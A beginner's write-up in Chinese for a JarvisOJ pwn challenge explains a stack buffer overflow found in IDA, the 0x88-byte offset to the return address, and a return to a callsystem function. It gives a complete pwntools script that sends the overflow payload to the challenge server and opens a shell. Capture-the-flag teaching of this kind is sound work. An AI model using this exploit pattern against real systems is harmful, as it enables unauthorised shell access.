>纯新手向,第一次做pwn的题,感觉非常难以下手,有很多的新知识,在接触的过程中一点点的去学习。学习《汇编语言》(王爽)的写法,只写当初在做这道题的时候用到的函数语法
思路WP
- 该题是栈溢出的错误,首先使用ida打开在jarvisoj下载的文件,首先会注意到有main函数,因为有c语言基础,所以先从main()函数开始,注意到main函数调用了vulner_function函数,关注该函数,发现该函数新建了一个字符串。
vulner.png
-
通过打开stack of vulner_function可以发现长度为(+0x8-(-0x80)),一共为0x88大小(通过buf的首地址到返回地址r)。
buff.png
-
然后,该数组在read中用到,read的参数为:
read.png -
可以看见传入一个int类型,一个首地址 数组地址还有一个长度大小为nbyte的值,由此可知是要将一个最大长度为nbyte的数据传入buf,但此时buf只有0x88,但由vulner_function函数可知该程序将一个0x200ull的值传入buf,因此栈溢出。
-
同时程序中有callsystem,并且已经有了“/bin/sh”,由此我们只需要将栈填满并且将vulner_function的返回地址覆盖为调用callsteam的地址,即可拿到shell,得到flag。
callsystem.png
代码
# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com",9881) # 与服务器交互
# 填充
junk = ‘a‘*0x80
# 淹没bp
fakebp = ‘a‘*8
syscall = 0x0000000000400596
payload = junk + fakebp + p64(syscall) # p64()对整数进行打包
sh.send(payload)
sh.interactive() # 直接反弹shell进行交互
解释
remote():主要用作远程和服务器交互,返回一个类似连接对象
send():发送数据,通过连接对象调用
interactive():反弹shell,达到交互的作用
p64():数字转为字符串,在这里的作用即为将得到的地址转换为字符串
payload通常用做关键的信息或者数据
网友评论